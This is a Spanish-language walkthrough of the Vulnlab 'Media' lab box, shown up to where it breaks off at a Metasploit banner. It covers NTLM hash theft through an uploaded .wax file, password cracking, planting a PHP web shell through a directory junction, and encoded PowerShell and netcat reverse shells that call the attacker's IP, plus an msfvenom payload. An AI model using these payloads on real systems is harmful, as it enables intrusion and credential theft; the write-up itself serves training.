Vulnlab - Media
PortScan
- Comenzamos escaneando los puertos abiertos por el protocolo TCP de la máquina víctima.
➜ nmap nmap -sCV -p22,80,3389 10.10.73.104 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-29 12:52 CST
Nmap scan report for 10.10.73.104
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 0b:b3:c0:80:40:88:e1:ae:aa:3b:5f:f4:c2:23:c0:0d (RSA)
| 256 e0:80:3f:dd:b1:f8:fc:83:f5:de:d5:b3:2d:5a:4b:39 (ECDSA)
|_ 256 b5:32:c0:72:18:10:0f:24:5d:f8:e1:ce:2a:73:5c:1f (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: ProMotion Studio
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=MEDIA
| Not valid before: 2023-10-09T13:41:32
|_Not valid after: 2024-04-09T13:41:32
| rdp-ntlm-info:
| Target_Name: MEDIA
| NetBIOS_Domain_Name: MEDIA
| NetBIOS_Computer_Name: MEDIA
| DNS_Domain_Name: MEDIA
| DNS_Computer_Name: MEDIA
| Product_Version: 10.0.20348
|_ System_Time: 2024-02-29T18:53:02+00:00
|_ssl-date: 2024-02-29T18:53:08+00:00; -1s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Port 80 hash NTLMv2
- Vemos que está corriendo un servicio web y vemos las tecnologías que se están empleando.
➜ nmap whatweb http://10.10.73.104
http://10.10.73.104 [200 OK] Apache[2.4.56], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17], IP[10.10.73.104], OpenSSL[1.1.1t], PHP[8.1.17], Script, Title[ProMotion Studio], X-Powered-By[PHP/8.1.17]
- Esta es la página web.
- Si bajamos observamos que tenemos algo interesante donde nos deja subir archivos.
- Bueno nos dice que por detrás debe de ser compatible con Windows Media Player.
- Existe una herramienta que se llama https://github.com/Greenwolf/ntlm_theft que lo que hace es generar varios archivos los cuales funcionan para robar el hash NTLMVv2 (NT LAN Manager) en este caso usaremos solo los que son compatibles que nos dicen en la página web https://book.hacktricks.xyz/v/es/windows-hardening/ntlm https://github.com/Greenwolf/ntlm_theft cuando la persona que está por detras revise el .wax que voy a subir durante el proceso de autenticación se va a generar el hash y no va a llegar vamos a instalar la herramienta.
➜ nmap pip3 install xlsxwriter
➜ nmap git clone https://github.com/Greenwolf/ntlm_theft
- Con esto ya estaría.
➜ ntlm_theft git:(master) python3 ntlm_theft.py -g wax -s 10.8.1.127 -f stealhash
Created: stealhash/stealhash.wax (OPEN)
Generation Complete.
➜ ntlm_theft git:(master) ✗
- Aquí vemos el contenido.
➜ stealhash git:(master) ✗ cat stealhash.wax
https://10.8.1.127/test
file://\\10.8.1.127/steal/file% ➜ stealhash git:(master) ✗
- Vemos que la url aputan a un archivo en nuestro sistema que se llama test no es necesario que exista y después con file le indica que es un enlace a un archivo en el sistema de archivos local o una red compartida para que esto funcione podemos usar responder o impacket-smbserver para que nos llegue el hash en mi caso estaré empleando impacket-smbserver, pero puede ser con cualquiera de los 2.
➜ stealhash git:(master) ✗ impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
- Ahora vamos a subir a la web él .wax que nos creó la herramienta.
- Una vez lo subimos vamos a esperar a que alguien por detrás lo revise para obtener su hash Ntlmv2.
- Y bueno tenemos el hash del usuario enox vamos a crackearlo con john .
➜ stealhash git:(master) ✗ cat hash
enox::MEDIA:aaaaaaaaaaaaaaaa:7e3190c5c1f9db76bfc360f64ec94557:010100000000000000e4af7f456bda01121927e5fa2e588b0000000001001000430079006b006a00440078004100440003001000430079006b006a0044007800410044000200100064004100590064004d0074007a0065000400100064004100590064004d0074007a0065000700080000e4af7f456bda0106000400020000000800300030000000000000000000000000300000f56c0035a7b62431425b77bf8aa7260625be53589b34e8cddea5cc073973904c0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e0038002e0031002e003100320037000000000000000000
- Esta es la contraseña del usuario enox .
➜ stealhash git:(master) ✗ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
********** (enox)
1g 0:00:00:42 DONE (2024-02-29 13:32) 0.02333g/s 311262p/s 311262c/s 311262C/s 1234ถ6789..1234mind
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Shell as enox
- Como el puerto 22 que corresponde a SSH está abierto, vamos a conectarnos con las credenciales que tenemos.
➜ content ssh enox@10.10.73.104
The authenticity of host '10.10.73.104 (10.10.73.104)' can't be established.
ED25519 key fingerprint is SHA256:2c17FslY2rzanEFkyjgpzSQoyVlsRgRFVJv+0dkFt8A.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.73.104' (ED25519) to the list of known hosts.
enox@10.10.73.104's password:
Microsoft Windows [Version 10.0.20348.1970]
(c) Microsoft Corporation. All rights reserved.
enox@MEDIA C:\Users\enox>whoami
media\enox
enox@MEDIA C:\Users\enox>
User flag
- Como siempre en el Desktop del usuario se encuentra su flag.
enox@MEDIA C:\Users\enox\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is EAD8-5D48
Directory of C:\Users\enox\Desktop
10/02/2023 10:04 AM <DIR> .
10/02/2023 09:26 AM <DIR> ..
10/10/2023 02:58 AM 36 user.txt
1 File(s) 36 bytes
2 Dir(s) 8,547,569,664 bytes free
Privilege Escalation
- En este directorio tenemos los archivos de la página web a donde subimos él .wax .
enox@MEDIA C:\xampp\htdocs>dir
Volume in drive C has no label.
Volume Serial Number is EAD8-5D48
Directory of C:\xampp\htdocs
10/02/2023 09:27 AM <DIR> .
10/02/2023 10:03 AM <DIR> ..
10/02/2023 09:27 AM <DIR> assets
10/02/2023 09:27 AM <DIR> css
10/10/2023 04:00 AM 20,563 index.php
10/02/2023 09:27 AM <DIR> js
1 File(s) 20,563 bytes
5 Dir(s) 8,547,749,888 bytes free
enox@MEDIA C:\xampp\htdocs>
- Este es el codigo fuente:
enox@MEDIA C:\xampp\htdocs>type index.php
<?php
error_reporting(0);
// Your PHP code for handling form submission and file upload goes here.
$uploadDir = 'C:/Windows/Tasks/Uploads/'; // Base upload directory
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["fileToUpload"])) {
$firstname = filter_var($_POST["firstname"], FILTER_SANITIZE_STRING);
$lastname = filter_var($_POST["lastname"], FILTER_SANITIZE_STRING);
$email = filter_var($_POST["email"], FILTER_SANITIZE_STRING);
// Create a folder name using the MD5 hash of Firstname + Lastname + Email
$folderName = md5($firstname . $lastname . $email);
// Create the full upload directory path
$targetDir = $uploadDir . $folderName . '/';
// Ensure the directory exists; create it if not
if (!file_exists($targetDir)) {
mkdir($targetDir, 0777, true);
}
// Sanitize the filename to remove unsafe characters
$originalFilename = $_FILES["fileToUpload"]["name"];
$sanitizedFilename = preg_replace("/[^a-zA-Z0-9._]/", "", $originalFilename);
// Build the full path to the target file
$targetFile = $targetDir . $sanitizedFilename;
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) {
echo "<script>alert('Your application was successfully submitted. Our HR shall review your video and get back to you.');</script>";
// Update the todo.txt file
$todoFile = $uploadDir . 'todo.txt';
$todoContent = "Filename: " . $originalFilename . ", Random Variable: " . $folderName . "\n";
// Append the new line to the file
file_put_contents($todoFile, $todoContent, FILE_APPEND);
} else {
echo "<script>alert('Uh oh, something went wrong... Please submit again');</script>";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<meta name="description" content="" />
<meta name="author" content="" />
<title>ProMotion Studio</title>
<!-- Favicon-->
<link rel="icon" type="image/x-icon" href="assets/favicon.ico" />
<!-- Font Awesome icons (free version)-->
<script src="https://use.fontawesome.com/releases/v6.3.0/js/all.js" crossorigin="anonymous"></script>
<!-- Google fonts-->
<link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css" />
<link href="https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700" rel="stylesheet" type="text/css" />
<!-- Core theme CSS (includes Bootstrap)-->
<link href="css/styles.css" rel="stylesheet" />
</head>
<body id="page-top">
<!-- Navigation-->
<nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav">
<div class="container">
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarResponsive"
aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation">
Menu
<i class="fas fa-bars ms-1"></i>
</button>
<div class="collapse navbar-collapse" id="navbarResponsive">
<ul class="navbar-nav text-uppercase ms-auto py-4 py-lg-0">
<li class="nav-item"><a class="nav-link" href="#services">Services</a></li>
<li class="nav-item"><a class="nav-link" href="#about">About</a></li>
<li class="nav-item"><a class="nav-link" href="#team">Team</a></li>
<li class="nav-item"><a class="nav-link" href="#contact">Hiring</a></li>
</ul>
</div>
</div>
</nav>
<!-- Masthead-->
<header class="masthead">
<div class="container">
<div class="masthead-subheading">Welcome To Our Studio!</div>
<div class="masthead-heading text-uppercase">It's Nice To Meet You</div>
<a class="btn btn-primary btn-xl text-uppercase" href="#services">Tell Me More</a>
</div>
</header>
<!-- Services-->
<section class="page-section" id="services">
<div class="container">
<div class="text-center">
<h2 class="section-heading text-uppercase">Services</h2>
<h3 class="section-subheading text-muted">Professional Services</h3>
</div>
<div class="row text-center">
<div class="col-md-4">
<span class="fa-stack fa-4x">
<i class="fas fa-circle fa-stack-2x text-primary"></i>
<i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i>
</span>
<h4 class="my-3">E-Commerce Solutions</h4>
<p class="text-muted">Enhance your online business with our cutting-edge e-commerce solutions. We
provide a seamless shopping experience for your customers, from product selection to secure
checkout.</p>
</div>
<div class="col-md-4">
<span class="fa-stack fa-4x">
<i class="fas fa-circle fa-stack-2x text-primary"></i>
<i class="fas fa-laptop fa-stack-1x fa-inverse"></i>
</span>
<h4 class="my-3">Responsive Web Design</h4>
<p class="text-muted">Our websites are built with responsive design in mind, ensuring that your site
looks and works flawlessly on any device. Reach a wider audience and improve user satisfaction
with our designs.</p>
</div>
<div class="col-md-4">
<span class="fa-stack fa-4x">
<i class="fas fa-circle fa-stack-2x text-primary"></i>
<i class="fas fa-lock fa-stack-1x fa-inverse"></i>
</span>
<h4 class="my-3">Robust Web Security</h4>
<p class="text-muted">Protect your online presence with our state-of-the-art web security solutions.
We prioritize the safety of your data and user information, keeping your website and customers
secure.</p>
</div>
</div>
</div>
</section>
<!-- About-->
<section class="page-section" id="about">
<div class="container">
<div class="text-center">
<h2 class="section-heading text-uppercase">About Us</h2>
<h3 class="section-subheading text-muted">Discover our journey and milestones.</h3>
</div>
<ul class="timeline">
<li>
<div class="timeline-image"><img class="rounded-circle img-fluid" src="assets/img/about/1.jpg"
alt="Our Humble Beginnings" /></div>
<div class="timeline-panel">
<div class="timeline-heading">
<h4>2017-2020</h4>
<h4 class="subheading">Our Humble Beginnings</h4>
</div>
<div class="timeline-body">
<p class="text-muted">In the early years, our journey began with a small team of passionate
individuals. We embarked on a mission to deliver innovative solutions, and our
dedication soon started to bear fruit.</p>
</div>
</div>
</li>
<li class="timeline-inverted">
<div class="timeline-image"><img class="rounded-circle img-fluid" src="assets/img/about/2.jpg"
alt="An Agency is Born" /></div>
<div class="timeline-panel">
<div class="timeline-heading">
<h4>March 2021</h4>
<h4 class="subheading">An Agency is Born</h4>
</div>
<div class="timeline-body">
<p class="text-muted">In March 2021, our agency officially came into existence. With a clear
vision and determination, we transformed into a full-fledged agency, ready to serve our
clients with excellence.</p>
</div>
</div>
</li>
<li>
<div class="timeline-image"><img class="rounded-circle img-fluid" src="assets/img/about/3.jpg"
alt="Transition to Full Service" /></div>
<div class="timeline-panel">
<div class="timeline-heading">
<h4>December 2022</h4>
<h4 class="subheading">Transition to Full Service</h4>
</div>
<div class="timeline-body">
<p class="text-muted">By December 2022, we had evolved into a full-service agency, offering
a wide range of solutions to meet our clients' diverse needs. Our commitment to quality
remained unwavering.</p>
</div>
</div>
</li>
<li class="timeline-inverted">
<div class="timeline-image"><img class="rounded-circle img-fluid" src="assets/img/about/4.jpg"
alt="Phase Two Expansion" /></div>
<div class="timeline-panel">
<div class="timeline-heading">
<h4>July 2023</h4>
<h4 class="subheading">Phase Two Expansion</h4>
</div>
<div class="timeline-body">
<p class="text-muted">In July 2023, we embarked on an exciting phase of expansion. With new
opportunities on the horizon, we're dedicated to delivering even greater value to our
clients and partners.</p>
</div>
</div>
</li>
<li class="timeline-inverted">
<div class="timeline-image">
<h4>
Be Part
<br />
Of Our
<br />
Success Story!
</h4>
</div>
</li>
</ul>
</div>
</section>
<!-- Team-->
<section class="page-section bg-light" id="team">
<div class="container">
<div class="text-center">
<h2 class="section-heading text-uppercase">Meet Our Dedicated Team</h2>
<h3 class="section-subheading text-muted">Get to know the talented individuals behind our success.</h3>
</div>
<div class="row">
<div class="col-lg-4">
<div class="team-member">
<img class="mx-auto rounded-circle" src="assets/img/team/1.jpg" alt="Parveen Anand" />
<h4>Parveen Anand</h4>
<p class="text-muted">Lead Designer</p>
<a class="btn btn-dark btn-social mx-2" href="#!" aria-label="Parveen Anand Twitter Profile"><i
class="fab fa-twitter"></i></a>
<a class="btn btn-dark btn-social mx-2" href="#!" aria-label="Parveen Anand Facebook Profile"><i
class="fab fa-facebook-f"></i></a>
<a class="btn btn-dark btn-social mx-2" href="#!" aria-label="Parveen Anand LinkedIn Profile"><i
class="fab fa-linkedin-in"></i></a>
</div>
</div>
<div class="col-lg-4">
<div class="team-member">
<img class="mx-auto rounded-circle" src="assets/img/team/2.jpg" alt="Diana Petersen" />
<h4>Diana Petersen</h4>
<p class="text-muted">Lead Marketer</p>
<a class="btn btn-dark btn-social mx-2" href="#!" aria-label="Diana Petersen Twitter Profile"><i
class="fab fa-twitter"></i></a>
<a class="btn btn-dark btn-social mx-2" href="#!"
aria-label="Diana Petersen Facebook Profile"><i class="fab fa-facebook-f"></i></a>
<a class="btn btn-dark btn-social mx-2" href="#!"
aria-label="Diana Petersen LinkedIn Profile"><i class="fab fa-linkedin-in"></i></a>
</div>
</div>
<div class="col-lg-4">
<div class="team-member">
<img class="mx-auto rounded-circle" src="assets/img/team/3.jpg" alt="Larry Parker" />
<h4>Larry Parker</h4>
<p class="text-muted">Lead Developer</p>
<a class="btn btn-dark btn-social mx-2" href="#!" aria-label="Larry Parker Twitter Profile"><i
class="fab fa-twitter"></i></a>
<a class="btn btn-dark btn-social mx-2" href="#!" aria-label="Larry Parker Facebook Profile"><i
class="fab fa-facebook-f"></i></a>
<a class="btn btn-dark btn-social mx-2" href="#!" aria-label="Larry Parker LinkedIn Profile"><i
class="fab fa-linkedin-in"></i></a>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-8 mx-auto text-center">
<p class="large text-muted">Our team is passionate about creating exceptional experiences for our
clients. We take pride in our work and collaborate to deliver outstanding results that make a
difference.</p>
</div>
</div>
</div>
</section>
<!-- Clients -->
<div class="py-5">
<div class="container">
<div class="row align-items-center">
<div class="col-md-3 col-sm-6 my-3">
<a href="#!"><img class="img-fluid img-brand d-block mx-auto" src="assets/img/logos/microsoft.svg"
alt="Microsoft Logo" aria-label="Microsoft Logo" /></a>
</div>
<div class="col-md-3 col-sm-6 my-3">
<a href="#!"><img class="img-fluid img-brand d-block mx-auto" src="assets/img/logos/google.svg"
alt="Google Logo" aria-label="Google Logo" /></a>
</div>
<div class="col-md-3 col-sm-6 my-3">
<a href="#!"><img class="img-fluid img-brand d-block mx-auto" src="assets/img/logos/facebook.svg"
alt="Facebook Logo" aria-label="Facebook Logo" /></a>
</div>
<div class="col-md-3 col-sm-6 my-3">
<a href="#!"><img class="img-fluid img-brand d-block mx-auto" src="assets/img/logos/ibm.svg"
alt="IBM Logo" aria-label="IBM Logo" /></a>
</div>
</div>
</div>
</div>
<!-- Contact -->
<section class="page-section" id="contact">
<div class="container">
<div class="text-center">
<h2 class="section-heading text-uppercase">Join Our Team</h2>
<h3 class="section-heading text-uppercase">We're Hiring Graphics Designers!</h3>
</div>
<form id="contactForm" data-sb-form-api-token="API_TOKEN" action="<?php echo htmlspecialchars($_SERVER["
PHP_SELF"]); ?>" method="post" enctype="multipart/form-data">
<div class="row align-items-stretch mb-5">
<div class="col-md-6">
<div class="form-group">
<!-- First Name input -->
<input class="form-control" id="firstname" name="firstname" type="text"
placeholder="Your First Name *" data-sb-validations="required" />
<div class="invalid-feedback" data-sb-feedback="firstname:required">First name is required.
</div>
</div>
<div class="form-group">
<!-- Last Name input -->
<input class="form-control" id="lastname" name="lastname" type="text"
placeholder="Your Last Name *" data-sb-validations="required" />
<div class="invalid-feedback" data-sb-feedback="lastname:required">Last name is required.
</div>
</div>
<div class="form-group">
<!-- Email address input -->
<input class="form-control" id="email" name="email" type="email" placeholder="Your Email *"
data-sb-validations="required,email" />
<div class="invalid-feedback" data-sb-feedback="email:required">An email is required.</div>
<div class="invalid-feedback" data-sb-feedback="email:email">Email is not valid.</div>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<!-- Video upload input -->
<small class="form-text text-white">Upload a brief introduction video (compatible with
Windows Media Player):</small>
<input class="form-control" id="fileToUpload" name="fileToUpload" type="file"
accept="video/*" data-sb-validations="required" />
<div class="invalid-feedback" data-sb-feedback="fileToUpload:required">A video is required.
</div>
<small class="form-text text-white">Please upload a brief introduction video about yourself
and your experiences, explaining why you think you're fit for the job.</small>
</div>
</div>
</div>
<!-- Submit Button -->
<div class="text-center">
<input class="btn btn-primary btn-xl text-uppercase" type="submit" value="Upload File"
name="submit">
</div>
</form>
</div>
</section>
<!-- Footer-->
<footer class="footer py-4">
<div class="container">
<div class="row align-items-center">
<div class="col-lg-4 text-lg-start">Copyright © ProMotion Studios 2023</div>
<div class="col-lg-4 my-3 my-lg-0">
<a class="btn btn-dark btn-social mx-2" href="#!" aria-label="Twitter"><i
class="fab fa-twitter"></i></a>
<a class="btn btn-dark btn-social mx-2" href="#!" aria-label="Facebook"><i
class="fab fa-facebook-f"></i></a>
<a class="btn btn-dark btn-social mx-2" href="#!" aria-label="LinkedIn"><i
class="fab fa-linkedin-in"></i></a>
</div>
<div class="col-lg-4 text-lg-end">
<a class="link-dark text-decoration-none me-3" href="#!">Privacy Policy</a>
<a class="link-dark text-decoration-none" href="#!">Terms of Use</a>
</div>
</div>
</div>
</footer>
<!-- Bootstrap core JS-->
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js"></script>
<!-- Core theme JS-->
<script src="js/scripts.js"></script>
</body>
</html>
enox@MEDIA C:\xampp\htdocs>
- Este es el código todo lo que subimos se guarda en la ruta
C:/Windows/Tasks/Uploads/, pero lo que ingresamos lo convierte en MD5 por ejemplo nosotros ingresamos test en todo entonces se supone que lo debería hacer de la siguiente manera: fuente:
➜ ~ echo -n "testtesttest@test.com" | md5sum
44b85c98e94039c8a0a015f6d3a3449e -
➜ ~
-
Una forma de asegurar esto es ver el contenido de la ruta donde se guardan y ver si ingresan los datos, de esta manera se guardan en MD5.
-
Y bueno, al parecer si lo hace.
enox@MEDIA C:\Windows\Tasks\Uploads>dir
Volume in drive C has no label.
Volume Serial Number is EAD8-5D48
Directory of C:\Windows\Tasks\Uploads
02/29/2024 11:28 AM <DIR> .
10/02/2023 10:04 AM <DIR> ..
02/29/2024 11:27 AM <DIR> 44b85c98e94039c8a0a015f6d3a3449e
02/29/2024 11:28 AM 0 todo.txt
1 File(s) 0 bytes
3 Dir(s) 8,547,569,664 bytes free
enox@MEDIA C:\Windows\Tasks\Uploads>
-
Vamos a crear un enlace simbólico a la ruta
C:\xampp\htdocsspara poder subir nuestra web shell con mlink https://learn.microsoft.com/es-es/windows-server/administration/windows-commands/mklink . -
Primero vamos a borrar el directorio generado.
enox@MEDIA C:\xampp\htdocs>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\xampp\htdocs> rmdir C:\Windows\Tasks\Uploads\44b85c98e94039c8a0a015f6d3a3449e\
Confirm
The item at C:\Windows\Tasks\Uploads\44b85c98e94039c8a0a015f6d3a3449e\ has children and the Recurse parameter was not specified. If you continue,
all children will be removed with the item. Are you sure you want to continue?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "Y"): Y
PS C:\xampp\htdocs>
- Ahora creamos el enlace desde la cmd.
enox@MEDIA C:\xampp\htdocs>mklink /J C:\Windows\Tasks\Uploads\44b85c98e94039c8a0a015f6d3a3449e C:\xampp\htdocss
Junction created for C:\Windows\Tasks\Uploads\44b85c98e94039c8a0a015f6d3a3449e <<===>> C:\xampp\htdocss
enox@MEDIA C:\xampp\htdocs>
- Con esto lo que logramos es que el directorio 44b85c98e94039c8a0a015f6d3a3449e está en C:\xampp\htdocss, ya que se creó el Juction ahora vamos a hacer él .php para enviarnos la reverse shell.
➜ ~ cat cmd.php
<?php
system($_GET['cmd']);
?>
- Ahora, con los mismos valores que teníamos con test en la parte del MD5 vamos a subir la shell.
- Y vemos que tenemos él .php .
enox@MEDIA C:\xampp\htdocs>dir
Volume in drive C has no label.
Volume Serial Number is EAD8-5D48
Directory of C:\xampp\htdocs
03/01/2024 01:21 PM <DIR> .
03/01/2024 01:12 PM <DIR> ..
10/02/2023 09:27 AM <DIR> assets
03/01/2024 01:21 PM 32 cmd.php
10/02/2023 09:27 AM <DIR> css
10/10/2023 04:00 AM 20,563 index.php
10/02/2023 09:27 AM <DIR> js
2 File(s) 20,595 bytes
5 Dir(s) 8,555,507,712 bytes free
enox@MEDIA C:\xampp\htdocs>
Shell as nt authority\local
- Ahora nos ponemos en escucha para enviarnos una reverse shell.
➜ ~ rlwrap nc -lvnp 443
listening on [any] 443 ...
- Vamos a utilizar el siguiente recurso para crear el oneliner en powershell usando base64 . https://www.revshells.com/.
http://10.10.111.108/cmd.php?cmd=powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AOAAuADEALgAxADIANwAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
- Nos llega la shell .
➜ ~ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.8.1.127] from (UNKNOWN) [10.10.111.108] 50309
whoami
nt authority\local service
PS C:\xampp\htdocs>
- Verificamos que no tenemos todos los privilegios máximos.
PS C:\xampp\htdocs> whoami /all
USER INFORMATION
----------------
User Name SID
========================== ========
nt authority\local service S-1-5-19
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ================================================================================================ ==================================================
Mandatory Label\System Mandatory Level Label S-1-16-16384
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-32-1488445330-856673777-1515413738-1380768593-2977925950-2228326386-886087428-2802422674 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-32-383293015-3350740429-1839969850-1819881064-1569454686-4198502490-78857879-1413643331 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-32-2035927579-283314533-3422103930-3587774809-765962649-3034203285-3544878962-607181067 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-32-3659434007-2290108278-1125199667-3679670526-1293081662-2164323352-1777701501-2595986263 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-32-11742800-2107441976-3443185924-4134956905-3840447964-3749968454-3843513199-670971053 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-32-3523901360-1745872541-794127107-675934034-1867954868-1951917511-1111796624-2052600462 Mandatory group, Enabled by default, Enabled group
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =================================== ========
SeTcbPrivilege Act as part of the operating system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
PS C:\xampp\htdocs>
- Para esto podemos usar la siguiente herramienta https://github.com/itm4n/FullPowers que nos recupera los privilegios por defecto.
PS C:\> mkdir Temp
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/1/2024 1:34 PM Temp
PS C:\> cd Temp
PS C:\Temp> curl -o FullPowers.exe http://10.8.1.127:8080/FullPowers.exe
PS C:\Temp> dir
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/1/2024 1:36 PM 36864 FullPowers.exe
PS C:\Temp>
- Ahora también vamos a subir el netcat para enviarnos la shell.
➜ Downloads cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
PS C:\Temp> curl -o nc.exe http://10.8.1.127:8080/nc.exe
PS C:\Temp> dir
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/1/2024 1:36 PM 36864 FullPowers.exe
-a---- 3/1/2024 1:38 PM 28160 nc.exe
PS C:\Temp>
- Ahora nos podemos en escucha otra vez.
PS C:\Temp> .\FullPowers.exe -c "C:\Temp\nc.exe 10.8.1.127 445 -e cmd" -z
- Y obtenemos la shell.
➜ content rlwrap nc -nlvp 445
listening on [any] 445 ...
connect to [10.8.1.127] from (UNKNOWN) [10.10.111.108] 50452
Microsoft Windows [Version 10.0.20348.1970]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\local service
C:\Windows\system32>
nt authority system
- Podemos abusar del SeImpersonatePrivilege usando el https://github.com/antonioCoco/JuicyPotatoNG/releases/tag/v1.1 o con metasploit https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/juicypotato .
➜ ~ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.8.1.127 LPORT=443 -f exe > reverse_shell.exe
➜ ~ sudo msfconsole
[sudo] password for miguel:
Metasploit tip: Set the current module's RHOSTS with database values using
hosts -R or services -R
______________________________________________________________________________
| |
| METASPLOIT CYBER MISSILE COMMAND V5 |
|______________________________________________________________________________|
\ / /
\ . / / x
\ / /
\ / + /
\ + / /
* / /
/ . /
X / / X
